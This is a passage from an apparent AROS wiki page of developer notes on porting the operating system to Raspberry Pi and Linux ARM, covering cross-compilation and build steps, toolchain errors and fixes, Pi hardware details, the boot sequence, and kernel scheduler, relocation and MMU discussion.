its own libc includes, which would conflict with AROS ones. And the host OS libc is not binary-compatible with AROS one. Why doesn't Windows-hosted port use $(KERNEL_INCLUDES) ? Because WinAPI includes conflict with AROS ones in fundamental typedefs, like WORD, BYTE and BOOL. It's almost impossible to deal with this in any other way than rewriting WinAPI definitions using AROS types. Building under centos 6.3 (i386) currently, and AROS creates the toolchain itself. haven't yet committed the necessary changes but "./configure --target=raspi-armhf" is enough to start, then "make arosboot-raspi" will generate arosraspi.img (containing the bootstrap, kernel.resource, and exec.library) as well as arosraspi.rom (containing all the other essentials components such as dos, graphics etc). It will also copy over a config.txt file to make the raspi bootstrap code load the correct kernel, and a cmdline.txt that enables exec debug output. *armel = typically Debian 6, Ubuntu Maverick, Android, *armhf = typically Debian 7, Debian 8, Ubuntu Precise, Cross-compiling Ubuntu ARM softfp <pre> sudo sh echo 'foreign-architecture armel' >>/etc/dpkg/dpkg.cfg.d/multiarch echo 'deb [arch=armel] http://ports.ubuntu.com/ precise main universe' >/etc/apt/sources.list.d/armel.list apt-get update apt-get install gcc-arm-linux-gnueabi libx11-dev:armel libsdl-dev:armel </pre> <pre> ./configure --target=linux-arm --x-includes=/usr/include \ --enable-includes=/usr/arm-linux-gnueabi/include </pre> Cross-compiling Ubuntu ARM hard-float <pre> sudo sh echo 'foreign-architecture armhf' >>/etc/dpkg/dpkg.cfg.d/multiarch echo 'deb [arch=armhf] http://ports.ubuntu.com/ precise main universe' >/etc/apt/sources.list.d/armhf.list apt-get update apt-get install gcc-arm-linux-gnueabihf libx11-dev:armhf libsdl-dev:armhf </pre> <pre> ./configure --target=linux-armhf --x-includes=/usr/include \ --enable-includes=/usr/arm-linux-gnueabihf/include </pre> Now, the AROS build is configured properly and all you need to do is: make ==Build== ===64bit=== ===32bit=== # download/checkout the source someplace, e.g. /build/AROS-Src/ # make a directory to store external sources AROS downloads, e.g. /build/Ports # make a build directory, e.g. /build/aros-raspi-armhf # cd into the build dir, configure, and then run make -: <pre> >cd /build/aros-raspi-armhf >/build/AROS-Src/configure --target=raspberrypi-armhf --with-serial-debug --enable-ccache --with-portssources=/build/Ports >make >make arosboot-raspi </pre> then copy the files from /build/aros-raspi-armhf/bin/raspi-armhf/AROS/ onto an sdcard, and download/copy the Raspi firmware files onto it. You should then be able to boot the sdcard on your RasPi. The current W.I.P tree to svn. it can be built as follows .. <pre> ./configure --target=raspi-armhf make arosboot-raspi </pre> That will generate arosraspi.img, arosraspi.rom and config.txt in bin/raspi-arm/AROS - so either copy just those files to a fat formatted SD card (with the firmware files on), or copy the whole contents of the AROS folder. NB - if you have a Linux/other install, backup the existing config.txt first arosraspi.img contains the bootstrap (which has very basic mailbox code, framebuffer/gpio init, and console "emulation" via code pinched from our libbootconsole), kernel.resource, and exec.library arosraspi.rom contains all the other components needed to boot AROS. The config.txt file will tell the RasPI bootstrap to load the arosraspi kernel and ramdisk (rom). the bootstrap has minimal mailbox code, planning on adding either a resource or library that driver/app code will use to access it (likewise for GPIO) Help building AROS hosted on Linux ARM Was looking a way to use more my Handheld ARM based called Pyra (Dragonbox Pyra) an ARM (Omap5 cpu with 4GB ram) linux based machine (Debian Buster v10 with kernel 5.6.19 adapted) and have a try to compile the latest Aros sources by Deadwood directly on this device. Compilation stops after build libpopupmenu.a and trying to build libatomic have this error: <pre> Configuring build in bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic configure: WARNING: unrecognized options: --disable-nls, --without-x checking for --enable-version-specific-runtime-libs... no checking for --enable-generated-files-in-srcdir... no checking build system type... arm-unknown-linux-gnu checking host system type... arm-unknown-aros checking target system type... arm-unknown-aros checking for a BSD-compatible install... /usr/bin/install -c checking whether build environment is sane... yes checking for arm-aros-strip... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-strip checking for a thread-safe mkdir -p... /usr/bin/mkdir -p checking for gawk... no checking for mawk... mawk checking whether make sets $(MAKE)... yes checking whether make supports nested variables... yes checking for arm-aros-gcc... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-gcc checking whether the C compiler works... no configure: error: in /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic': configure: error: C compiler cannot create executables See config.log' for more details make[2]: *** [mmakefile:4489: /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic/.configured] Error 77 [MMAKE] make --no-print-directory TOP=/media/farox/pyra2/arosbuilds/toolchain-core-armhf-build SRCDIR=/media/farox/pyra2/arosbuilds/AROS CURDIR=tools/crosstools/gnu TARGET=tools-crosstools-gcc-libatomic-configure -s --file=mmakefile tools-crosstools-gcc-libatomic-configure failed: 512 [MMAKE] Error: Error while running make in tools/crosstools/gnu: No such file or directory make[1]: *** [Makefile:361: linklibs-libatomic] Error 10 make: *** [Makefile:183: crosstools] Error 2 </pre> looking at config.log on arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic found that arosbuilds/toolchain-core-armhf/arm-aros-ld: cannot find -laeabi so do make linklibs-aeabi-arm-quick and the missing lib was built. now the next stop is at fatal error: bits/libc-header-start.h: No such file or directory and fatal error: sys/cdefs.h: No such file or directory in many places so after checking that have this missing include files i have noted that my include path is a bit different, standard searching path is /usr/arm-linux-gnueabihf but in my system is /usr/include/arm-linux-gnueabihf so if i add my path to some mmakefiles compilation goes on....but is a better way to add this path to avoid every mmakefiles to be changed? fixed with adding -I/usr/include/arm-linux-gnueabihf to where is missing on mmakefiles like USER_INCLUDES := -isystem $(GENINCDIR) -I/usr/include/arm-linux-gnueabihf $(KERNEL_INCLUDES) P.s. I have changed many mmakefiles and have at least compiled (after many hours) the toolchain doing make every time in arosbuilds/toolchain-core-armhf-build (also have to disable making tests under cplusplus but don't remember the directory ...) but ask an help to have an automated way to correctly build without modify mmakefiles. Last time built armhf target was around 2 years ago. At that point built is via cross-compilation from linux (ubuntu 22.04) using linux armhf crosscompiler (this can explain the path differences you are experiencing) as well as using AROS gcc cross-compiler in version 6.5.0 (build with option 21) in rebuild.sh). Since then AROS GCC has been updated to 10.5.0 and don't believe anyone tried to build the armhf target again. My suggestion would be to downgrade GCC to 6.5.0 (via editing AROS/config/gcc_def file) and try to first build using cross-compilation from x86_64 linux. Once that works, you will have a "template" to compare to native compilation under arm linux. Thanks for your suggestion...but think the toolchain with GCC 10.5.0 is compilable if i found a way to pass the path of my system to the script that build (option 21 on rebuild). The other only changes are (but don't know where to modify...) is to add the build of libaeabi and disable the building of some tests under cplusplus that use exceptions and is not supported under ARM. try to crosscompile with my Linux amd64 PC. For paths look into core-linux-armhf/bin/linux-armhf/gen/config/target.cfg. A number of build-wide variable is set there containing paths to local build system. These variables and the target.cfg file are generated by AROS ./configure script. Thanks compilation now go forward...changed target.cfg under "toolchain-core-armhf-build/bin/linux-arm/gen/config" and do make on "toolchain-core-armhf-build" dir. Need to find where to enable build libaeabi.a so can build the entire toolchain with option 21 of rebuild.sh Found something that looks like libeabi in AROS/arm-all/arm-aeabi/mmakefile.src. Try adding a third line there: #MM- linklibs-armhd : libklibs-aeabi-arm Don't remember needing this library. Possibly the 6.5.0 GCC somehow does this while 10.5.0 is missing this. Try adding this line (and the variant "linklibs-armhf" instead of hd) but it did not solve the automatic building of the missing lib. I must do "linklibs-aeabi-arm-quick". Anyway after have build the aeabi lib i succefully built the toolchain (after many hours...). Smile To test I restarted from selecting option 21 (on rebuild.sh) but after many hours i get the same error of the kernel includes not found...maybe i need to modify the configure script for my case. With the toolchain built i try to build the core-linux-armhf (DEBUG) (option 22) but after a while it stopped with "cannot find -laeabi " so i made it built manually...and now i can continue compiling...i'll let you know if all goes ok. == Hardware == ===64bit=== ====BCM2712==== With the Pi5 Broadcom VideoCore 7 vc7 is an integrated GPU with 12 cores and up to 800 MHz clock. VideoCore VII is capable of OpenGL ES 3.1 and Vulkan 1.2. The driver support for the Raspberry Pi continues to build upon the [https://lore.kernel.org/dri-devel/20230928114532.167854-1-itoral@igalia.com/ open-source V3D driver] stack within [https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/25450 Mesa] hopefully be merged for Mesa 23.3 *Raspberry Pi M.2 HAT+ Expansion Board *Geekworm X1001 PCIe to M.2 Key-M NVMe *Geekworm X1003 PCIe to M.2 HAT NVMe SSD PIP Board for Raspberry Pi 5 *Pineboards Pi Hut HatDrive! M.2 HAT 2024/V4 *Hat+ Gen2 Gen3 Nvme *GeeekPi 52Pi N04 for Raspberry Pi 5 NVME M.2 * *2024 RPI AI HAT - Hailo 20TOPs no LLMs *2026 RPI AI HAT+ 2 - Hailo 40TOPs slightly better? [https://www.raspberrypi.com/documentation/accessories/camera.html Cameras for Pi] *Raspberry Pi camera module, the V3 with Sony IMX708 back-illuminated CMOS 12 Megapixel sensor *Raspberry Pi Camera Module V2 – 8MP Sony IMX219 Sensor *Raspberry Pi camera Rev 1.3, 5MP 1080P OV5647 image/video module, 2592 x 1944 pixels ====BCM2711==== With the Pi4 an ARM a72 cpu is about x3 times the size of an a53 in the Pi3 the 2711b line used more power when idle, compared to the 2711c *2018 Raspberry Pi PoE HAT Power Over Ethernet Hat - design issues *2020 Raspberry Pi PoE+ HAT Power Over Ethernet Hat Pi3b+ Pi4 only - better design *Waveshare PoE HAT (B) with cooling fan for Raspberry Pi 3B+/4B 802.3af PoE *[https://github.com/axizo-pi/V3DLib vc6 V3D 4.2] is derived from [https://docs.broadcom.com/doc/12358545 vc4], but it is significantly different The QPU pipeline stays mostly the same, you still have an add ALU and a multiply ALU and it can issue two ALU OPs per cycle. There is still 4 SIMD lanes, interleaved over 4 cycles. The instruction encoding for the QPUs is different, but the core instructions are the same. Instructions for packed 8 bit int math has been dropped, along with most of the pack modes. Instructions for packed 16bit float math has been added (2 floats at in a single operation) With vc5/vc6, you write two packed 16f value to the tilebuffer (or four writes of 32f, if you are using the rgba32f framebuffer). And there is a handy vfpack operation which allows you to pack two f32s into a single 32bit value in a single instruction. You can vfpack directly into the tile buffer register. the multiply ALU can now fadd, so you can issue two fadds per instruction. the add ALU has gained a bunch of new instructions the A and B register files have been merged. You still only get an A read and a B read per instruction, but they read from one big register file (which means the underlying memory block has gone from two sets of "one read port, one write port" to one "two read ports, one write port" block) The theoretical max FLOPs per QPU remains the same at two per cycle, other than the bump from 400mhz to 500mhx but it looks like a lot of effort has been put putting those theoretical FLOPs to better use. *vc4 could run one or two threads per QPU. When you ran in two thread mode, the available register file halfed to 32 registers. *vc5 added a four thread per QPU mode, with 16 registers per thread. *vc6 doubled the size of the register file. You could now use all 64 threads in two thread mode and 32 registers in for thread mode. Single thread mode was removed, you always have at least two threads. With the threading improvements, the QPUs should spent much less time idle waiting NOPs for memory requests. Most of the design changes have gone to improving the fixed function hardware around the QPUs. A fixed function blend unit has been added, which should reduce load on the QPUs when doing alpha blending. hope software blending is still possible The tile buffer can now store upto 4 render targets (up to 128bits per pixel, so if you are using 4 32bit render targets, you can't have a depth buffer) A MMU, allowing a much simpler/faster kernel driver. Many more texture formats, framebuffer formats. All the features needed for opengl es 3.0 H.265 / HEVC decoder is a HEVCv2 Main 4:4:4 10 design supporting bitstreams up to profile 5.1 HEVC hardware decode supports 4kp60, 10-bit. Audio output is pretty much unchanged, but the HDMI audio channels now support 8x192kHz bitrates Each ALU typically have 2 floating point operators, and as you pointed out in a earlier post videocore 6 is no exception, with both a multiply and additive floating point operator. Thus theoretical GFLOPs are calculated with both operators in mind. That is what the 2 in my formula represents, and is common across any modern programmable shader, whether you calculate Nvidia, AMD, Intel, Boardcom or any other company's GPUs. Total ALUs * 2 * GHz clock = GFLOPs, In the case of Raspberry Pi 3, it's 24 ALUs * 2 operators * 0.4GHz = 19.2GFLOPs If the Videocore 6 does indeed only have 16 ALUs (16 * 2 * 0.5GHz), you'd have only 16GFLOPs but they are better utilised Possible maximum performance <pre> VideoCore IV @ 250MHz: 250 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 24 Gflop/s VideoCore IV @ 300MHz: 300 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 28.8 Gflop/s VideoCore VI @ 500MHz: 500 [MHz] x 2 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 32 Gflop/s </pre> Faster LPDDR4 memory. ====BCM2837==== With the Pi3 * Broadcom BCM43438 chip provides 2.4&nbsp;GHz 802.11n wireless LAN, Bluetooth Low Energy, and Bluetooth 4.1 Classic radio support, 3B+ [https://github.com/aros-development-team/AROS/commit/afa5bc0bb17d5dd06bcfdbac00853a3799ca8d76 LAN7515] The overclock ability has diminished with each chip version as the energy usage has increased. BCM2837 is one of the warmest yet and benefits from active fan cooling if all four cpu cores are in use for a short while. Video playback is not affected due to the custom support in the GPU. 5 V / 2.4 or 2.5 amp power supply recommended if all four cpu cores are running, else throttling (cpu slowdown) might occur. Dual VDP and scalable QPU in VC4 ARMv8-A has [https://developer.arm.com/documentation/102412/0100/Privilege-and-Exception-levels privilege levels] where userspace typically runs at ‘EL0’, the kernel at ‘EL1’ or ‘EL2’ and the firmware at the highest level ‘EL3’. ===32bit=== === Core Kernel === ====BCM2708(family)==== which includes the [http://elinux.org/RPi_Hardware BCM2835] (ARM1176JZF-S 700&nbsp;MHz CPU + VideoCore IV GPU + up to 1GB RAM) *Framebuffer (fb) using mailbox *IRQ scheduler, etc *Arasan based SD Card controller *Synopsis DesignWare USB 2.0 OTG controller [http://networkdirection.net/index.php?option=com_content&view=article&id=106:rasperry-pi-usb-controller&catid=45:raspberry-pi&Itemid=54 Unofficial DOCS pdf], [dwc_otg.c FreeBSD], [], [https://www.riscosopen.org/viewer/view/mixed/RiscOS/Sources/HWSupport/USB/Controllers/DWCDriver/ RiscOS USB Driver], [https://www.riscosopen.org/forum/forums/5/topics/878 RiscOS USB Discussion], [https://www.riscosopen.org/forum/forums/11/topics/1893 Other USB RiscOS], [http://plan9.bell-labs.com/plan9/index.html Plan9 Miller's usb] http://plan9.bell-labs.com/sources/contrib/miller/, [https://github.com/Chadderz121/csud CSUD driver], *[http://www.smsc.com/media/Downloads_Public/Data_Sheets/9512.pdf SMSC 9512] USB LAN/Hub chip *CMOS RAM *VCHIQ port which sends messages to the GPU e.g. for mouse, keyboard, audio on HDMI, etc *Audio Driver *Serial Peripheral Interface Bus (SPI) *[http://www.susa.net/wordpress/2012/06/raspberry-pi-pcf8563-real-time-clock-rtc/ I2C registers] *I2S *Universal Asynchronous Receiver Transmitter (UART) *[http://elinux.org/RPi_BCM2835_GPIOs GPIOs] and [http://www.adafruit.com/blog/2012/08/17/broadcom-bcm2835-peripheral-memory-map-and-gpio-alternate-use-chart-piday-raspberrypi-raspberry_pi/ Alternative view of GPIO] BCM2836 * For Pi B+, PI 2 and Pi 3 SMSC LAN9514 chip adding 10/100 Ethernet connectivity and four USB channels to the board *[http://www.andrewscheller.co.uk/rpi_pcb_modules.html PCB], [http://elinux.org/RPi_Low-level_peripherals Low level features], Implemented so far... # Modify the configure system so that it correctly builds for the arm hardware float raspi target. # Implemented the bootstrap to load the aros modules and prepare the arm to jump into them. Reworked the x86 console support so that parts can be stolen for raspi to use since t has no basic functionality to output to the display. # Implemented a kernel.resource to prepare the raspi for running aros and provide the low level api calls to expose available resources and allow exec, etc function. # Implemented serial debug support # Implemented the exec (and kernel) functionality required to make multitasking work (and interrupts, exceptions, syscalls, etc) # Implemented a timer.device to utilise the hardware timers. # Implemented a very basic gfx driver to expose the hardware's framebuffer. # Implemented an SD-Card driver for AROS which presently only supports the raspi's chipset but can easily be modified to support all sd-card hardware and media. # Fixed the fat filesystem support in AROS so that it can boot on RasPi's normal SD-Card setup. The "rom" image files needed use a different filename than the default linux, etc images so can be easily installed without harming the existing files - you only need to change the loaded images in the config file to get aros to boot. # Updated the build scripts to automatically download the necessary raspi firmware files and wrap it all up so that you can simply extract the archive to a fat formatted sdcard and boot it on the raspi without having to get anything else. # fix everything in contrib and ports to build for raspi (needs proper testing/fixes but allows every component to actually compile at least, including owb) + numerous other fixes to get things working on arm/raspi .. Improvements... # Implement a USB chipset driver "OR" finish the existing one [https://github.com/aros-development-team/AROS/commit/c07d13c724f944674be5db54fc6a71ee72a01809 usb otg] - the current code is mostly a skeleton that should initialise the chipset and then needs relevant code to support the different transfer types. It also has the "virtual" hub code in place to represent the raspi's USB port (from poseidons p.o.v) # Implement a driver for the USB NIC (a few weeks - depends on USB above) # Write an [https://github.com/aros-development-team/AROS/commit/d55d0f74d20b769bbb8c8d386e5c1d7a9154f05a audio driver] (a few weeks - independent of USB) and [https://github.com/aros-development-team/AROS/commit/e93a4c245f27a87c9c4c1d39206694b39059998a HDMI] # fix syscall bug in the current raspi kernel code # Graphics depend on having a decent "bcmdma.resource" implemented as to use the cpu's dma engine. The sd card driver needs to use it for transfers to/from the controller - and the gfx system needs to use it for "blitting". # [https://github.com/aros-development-team/AROS/commit/4019d84e4975d4dad987a12d57fe108f5ac048e6 Improve the gfx driver], [ vc4gfx HIDD] add [http://dri.freedesktop.org/wiki/VC4/ Gallium3D support] # [https://github.com/aros-development-team/AROS/commit/b13905b3e8e45b089f520b44692c81affddd066f Improve] the [https://github.com/aros-development-team/AROS/commit/3a876755c070f5c73c4f53c7f4d35b4f923088b9 sdcard] device driver - which is also pretty basic but should work with most cards, rework it to also support pci, etc. sd card interfaces on x86 # The current code using very rudimentary access to the gpio interface - so that should be implemented as some resource for other components to access, as-well as the i2c interface exposed over the gpio interface. that should have a hidd class implemented which uses the gpio resource to communicate. Boot up typical for most other OSs before the open sourcing of many binary blobs from 2017 onwards On power-up, the rpi [http://www.open.com.au/mikem/bcm2835/ BCM 2835] [https://github.com/hermanhermitage/videocoreiv VideoCore4] GPU, not the ARM CPU, is in control, and the SD card slot is the only peripheral device with power. The firmware burned into the BCM2835's VideoCoreIV GPU PROM requires a DOS-style partition table; a FAT-formatted first partition; and the freely redistributable but closed sourced Broadcom files “bootcode.bin” and “start.elf” in that partition. The boot sequence carries out several pre-boot tasks *On powering of the rpi, the GPU reads and executes bootcode.bin, which then loads start.elf *The GPU loads the “start.elf” file, eventually, into the L2 cache and then executes it *configures the memory split for the CPU and GPU *reads and parses “config.txt” from the same partition on the SD card and applies the settings (like a PC’s BIOS settings) *loads the “kernel.img” file, again from the same partition *activates the CPU to begin executing the loaded kernel image The CPU/GPU memory split is hard-coded into start.elf, so Broadcom provides three start.elf images, to give 32M, 64M, or 128M to the GPU for multimedia performance, and the remainder to the CPU. RPi uses [https://github.com/raspberrypi/firmware some closed source loaders] and at some point it loads a binary blob named "kernel.img" at 0x8000, at that point there would be a rudimentary Aros alive. If one wants to use the SD-card then there would have to be a driver for the interface and a fat filesystem handler (SD-card has to be formatted to fat filesystem) Boot code and kernel are now linked together and made into that binary blob, just for starters. Raspberry Pi uses [http://kernelnomicon.org/?p=133 u-boot] and [http://kernelnomicon.org/?p=138 UBoot] as bootloader, there's already some code in the Efika MX port for that. UBoot is a native bootloader and not just for the raspberry pi, it loads after start.elf. You can find Efika MX port from arch implementations, some hacking is needed for the mmakefile.src'es as iit dates back to before the Aros crosstool era or else you get some weird errors while building. You also need to code the bootstrap and serial handling. At the moment it seems that a fastest route for the native build would be to make one binary blob without using the package system. Raspberry's memory layout is pretty simple and if the implemented u-boot doesn't support loading other modules <pre> ? - alias for 'help' mtest - simple RAM test autoscr - run script from memory base - print or set address offset bbm - BBM sub-system bdinfo - print Board Info structure boot - boot default, i.e., run 'bootcmd' bootd - boot default, i.e., run 'bootcmd' bootm - boot application image from memory bootp - boot image via network using BootP/TFTP protocol cmp - memory compare coninfo - print console devices and information cp - memory copy crc32 - checksum calculation echo - echo args to console fatinfo - print information about filesystem fatload - load binary file from a dos filesystem fatls - list files in a directory (default /) go - start application at address 'addr' help - print online help iminfo - print header information for application image itest - return true/false on integer compare jade - loadb - load binary file over serial line (kermit mode) loads - load S-Record file over serial line loady - load binary file over serial line (ymodem mode) loop - infinite loop on address range md - memory display mm - memory modify (auto-incrementing) mtest - simple RAM test mw - memory write (fill) nfs - boot image via network using NFS protocol nm - memory modify (constant address) pci - list and access PCI Configuration Space ping - send ICMP ECHO_REQUEST to network host printenv - print environment variables rarpboot - boot image via network using RARP/TFTP protocol reset - Perform RESET of the CPU run - run commands in an environment variable saveenv - save environment variables to persistent storage saves - save S-Record file over serial line setenv - set environment variables sleep - delay execution for some time tftpboot - boot image via network using TFTP protocol USB - USB sub-system usbboot - boot from USB device version - print monitor version </pre> And there is one more thing about modular ports. In order to actually implement this, your bootstrapping environment should provide the ability to load several files. On PC this is provided by GRUB2. on CHRP you can read filesystem via OpenFirmware, and Sam's Parthenope relies on modified u-boot. If your bootstrap allows to load only a single file, then you stuck with monolithic kickstart. By the way... u-boot allows not only to boot up a single uImage or zImage, it also allows to write client programs AFAIK. With this approach, you actually can write modular bootstrap for ARM AROS using unmodified u-boot. Most used [http://www.compulab.co.il/workspace/mediawiki/index.php5/U-Boot_quick_reference uboot options] are fatls usb 0:1, the reason behind INTB_KERNEL is to allow use of the standard Exec function AddIntServer() to add interrupt handlers for hardware drivers etc. AmigaOS never used it for abstract hardware drivers. AmigaOS routed only raw hardware IRQs there. Their assignment was hardcoded. As well as number of them. Actually on AmigaOS every bus has its own interrupt subsystem. For example PCI bus. PCI interrupts on Amiga are routed to a single exec interrupt. 1:1 relationship between CPU and hardware interrupts is present only on PC. IMHO we miss things like AddInterrupt/RemInterrupt methods on our PCI subsystem's device class. PCI bus class should map these methods to whatever is appropriate. This is how it is done on AmigaOS and friends. When these are implemented, raw kernel.resource API will be needed only for several PC-specific drivers with hardwired resources. Exec IRQs are real IRQs only on Amiga hardware. On other machines they can be emulated where appropriate (VBlank is a good example). kernel.resource is meant to be different, its IRQs are hardware-agnostic, they are plain "Hardware IRQ number X, whatever this means". They are low-level actually, and meaningful only in the context of a particular system. Was that not the transition from irq.hidd to kernel.resource? No. A long time ago there was another hacky bit named INTB_TIMERTICK. It was "abstract timer interrupt", used by timer.device. It was the same as VBlank, but with larger frequency. I removed it, because kernel.resource API was a cleaner way to access this interrupt. Furthermore, there can be more than one timer in the system. Thinking about bringing back timer HIDD definitions again. hpet.resource is a bad idea. Can someone please enlighten me a little on how the scheduler is meant to work? Poseidon.library creates its "Poseidon Event Task" during RTF_COLDSTART -> then calls Wait(), and ends up in limbo because wait disables interrupts (used for the scheduler heartbeat), and basically waits forever because the sigbit is never set, since krnSwitch doesn't switch the task unless TF_SWITCH is set, and no codepath run during this seems to set it?? TF_SWITCH does not disable/enable switching. This flag just enables to run user-supplied hook when the task is being switched away. It is completely safe to call Wait() in Disable()d state. Doing this actually temporarily breaks this state. IDNestCnt gets remembered in struct Task, then next task is selected, and its IDNestCnt is restored in sysbase (see kernel_scheduler.c). If there are no other tasks, then your cpu_Dispatch() should enable interrupts on the CPU and enter idle mode. See x86 implementation for good example. You miss what happens next... 1. KrnSwitch() saves context of your task, saves IDNestCnt (core_Switch() and cpu_Switch()), then drops into cpu_Dispatch(). 2. cpu_Dispatch() calls core_Dispatch. Then two cases are possible: 2a. There is a READY task. It is picked up, its IDNestCnt is restored in SysBase, then cpu_Dispatch() needs to restore registers and exit. The next task is run. 2b. There are no READY tasks. core_Dispatch() returns NULL. In this case your cpu_Dispatch() should enter idle loop. It should just enable interrupts on the CPU and put it on halt. This allows it to process hardware interrupts. Eventually some of your interrupt handlers wakes up your task and puts it into READY list. My heartbeat interrupt has been slowed atm to help debugging - but it never actually gets a chance to fire because of the Wait() disabling interrupts. Perhaps you have forgotten to enable interrupts in your idle loop. There is a change in the format of AROS executables. Until now we were using Elf RELocable files which are usually used as intermediate object files. We had them for various reasons, one of them was how AROS files were built in the past. That days we had no real aros cross compiler and the option to embed relocation data in unix executables (or in executable files in general) was rather new and not every linux/unix system had it. Therefore we have decided to use intermediate files. Although it was somehow working (and it is still working :-)), it has some drawbacks. Therefore decided to introduce real Elf EXEC types, in first turn implemented on ARM target with option to expand in future to all other AROS architectures. The first patch was pretty easy and appeared to work somehow. It generated nice executables with embedded relocation info. Not only that, it also removed all global symbols adjusting relocation data to be relative to the beginning of the sections. That move reduced number of symbols in each executable significantly (depending on the file between 20 and 80% of all symbols could be removed). The only symbols that stayed in the file are local ones - due to the nature of the patch wasn't able to remove them since we have not seen them in the symbol hash table. The patch didn't worked though. The files were relocated, AROS kernel loaded, but it crashed very early. What happened? Well, the nature of ARM relocations happened :) Most of the relocation data on all machines is rather simple. Relocation can be absolute or pc-relative, sometimes the offset has to be bit shifted. On ARM v7 there is another one. There, when one wants to load an address of function/variable into register a combination of two instructions can be used: movw and movt. The first one loads immediate into lower 16 bits of a register while clearing upper 16 bits. The second one loads immediate into upper 16 bits without touching lower halfword. Loading of a pointer into a register looks like this: movw r0, #:lower16:label movt r0, #:upper16:label In this case there are two relocations - one for lower halfword and another for upper. If an overflow of lower 16 bits occurs during relocation process, the upper one should be updated as well. Unfortunately with current patch and with typical ARM executables there is not enough information to perform the calculations. There are two options - the first one would be to give up and go back to "fake" executables, another one would be to change from REL to RELA relocation info. The latter contains an addend, extra data which can be used to perform all the relocation calculations I need. Decided for the second option. The patch is already in the works. There is another function for the binutils' bfd backend to perform the final relocation. There can decide what to do with every reloc info, modify data and eventually strip some symbols. An advantage is - at this stage of the linking process have also full access to all local symbols so can change all relocations section relative and eventually strip all symbols from the files. GPU VCore developed by Alphamosaic Ltd and now owned by Broadcom. Most of start.elf runs on the GPU. Placing ALL the userland GPU code in the videocore.hidd isn't going to be a terribly big problem because the code they published is nothing more than a shim that sends data straight to the GPU to execute. The good news about this is that we only need to write our HIDD using the OpenVG API. The shim is relatively small codewise and lives in the ARM memory (the actual OpenVG code itself lives in the GPU RAM area and its loaded from start.elf). That's also the bad news. Our driver has to translate AROS video calls to OpenVG calls, for most tasks it should be easy, for some, not so much. It's still probably less difficult and less work, than controlling the GPU directly. The other good news is that anything done through OpenVG happens on the GPU, its truly accelerated. It also has some nice font functions, meaning we can lead into an accelerated text mode later. Basically, AROS resets or locks up when it tries to use AROS_ATOMIC_INC or DEC. If I comment out the byte/word operations in the header files and use non-atomic operations, the code works as expected. have read that the L1 cache needs to be enabled to use LDREX and co (which I also read is only meant to be used on multi processor systems with shared memory) - however I am certain this is correctly enabled. If you are using LREX or STREX, you should have L1 cache enabled, at least on the ARM CPU I work with at work. L1 cache is enabled by enabling the MMU *AND* setting the C and I bits in the CPU - the C bit is ignored, and the I bit only covers the 16 byte instruction pipeline if the MMU is not enabled. Can you verify that your assembly is generating LDREX/STREX? From the behavior, it almost sounds like its generating the default Semaphore locked atomics. Impossible. There are no semaphore-locked atomics. There are Disable()/Enable()-based ones instead. And there's a special #define AROS_NO_ATOMIC_OPERATIONS in this case, which tweaks Disable()/Enable() implementations not to recurse forever. I have tested this on ARMv5 which does not have ldrex/strex, it works fine. On those ARMs there's no way to have real atomics. On other OSes (like Linux) this is done by introducing things like atomic_t, which appears to be a complex structure, holding the value together with accompanying spinlock (implemented using swp). #warning "TODO: lookup optimal mmu table settings for raspi memory" /* Set up an identity-mapping for all 4GB */ for(x = 0; x < 4096; x ++) { pagetable[x] = x<<20 | (0x40002|0x80000|0x010000|0x00C00|0x04); } Shouldn't there be a second loop that sets the 'C' bit in the descriptor for the RAM pages? Currently, you have TEX=0, C=0, B=1 for all pages (Shared Device). You should have TEX=0, C=1, B=0 for RAM (Write-Through, Cached) So .. pagetable[x] = x<<20 | 2; should be enough? No, for RAM you need to change the '| 0x40' to '| 0x80' tell dosboot the correct defaults to use Please don't do this. This bootconfig.c is a deprecated legacy thing. I wanted it to go away completely with time. Instead, display drivers should auto-install themselves during own initialization phase. I. e. detect hardware=>instantiate itself. This should make things way simpler. With this approach you only need to add the driver into KS image to get the device autobooted. No hardcoded stuff. Currently VESA and VGA drivers do this, look there for examples. never rewrote ATI driver because i don't have any test system for it. they defined a smaller AROSCPUContext than the ExceptionContext - yet reference it as ExceptionContext in other places, and since it hasn't allocated enough storage for ExceptionContext, are corrupting memory/the structure (since the elements that are there don't map 1 to 1 with the exception context). AFAIK, AROS has been moving in a different direction to this in recent years. It is the job of graphics HIDDs to allocate bitmaps etc. so that they have the most suitable characteristics, including allocating them from GPU RAM where possible. The concept of chip RAM is only for legacy code, and most if not all non-68k platforms should have all system RAM marked as chip. BTW, is the video processing code you mention CPU code or GPU code? Also, IIRC we have support for "external memory allocators". Perhaps that's what we need for the allocation of GPU RAM through the mailbox. All hosted and x86 native ports should use proper context formats. trying to clarify if the vblank handler has to have run by this point to prevent this deadlock. Actually, no. Unless you have installed VBlank handler which should wake up at some point. Without VBlank there will be no quantum count. Consequently, there will be no forced preemption. But the rest will work, and multitasking will be cooperative (switch happens only when current task voluntarily gives up the CPU). Does it depend on the vblank having run before this point? and if yes what does that mean on systems where it might be able to run enough code (e.g. get to this point) before the vblank interrupt has triggered? What is it waiting for? It could wait for timer, in this case you need timer.device working. VBlank is currently needed for exec's quantum counter. In current native ports we have only a single timer, which is served by timer.device. VBlank is simulated by timer.device also. If your machine has two timers, then you can use one of them for VBlank, and another for timer.device, this will simplify things down. VBlank needs to be 50 Hz for historical reasons, many programs use it as cheap timer. I am periodically thinking about making some abstract mechanism to be able to change quantum source (and untie it from 50 Hz), but have no time to come up with something good. Additionally i started disliking timer.device hardcoded design when PC has got many timers (old 8253, APIC, HPET). Currently i think there should be some low-level entity representing tick source. timer.device should just select the most appropriate source for its units. The BCM2835 has 4 GPU based timer sources - 2 are used by the GPU, so im using Timer3 for our heartbeat and the remaining one will be free to the system. There is also the less capable ARM timer but that is dependent on the CPU frequency. Very good. You won't need any 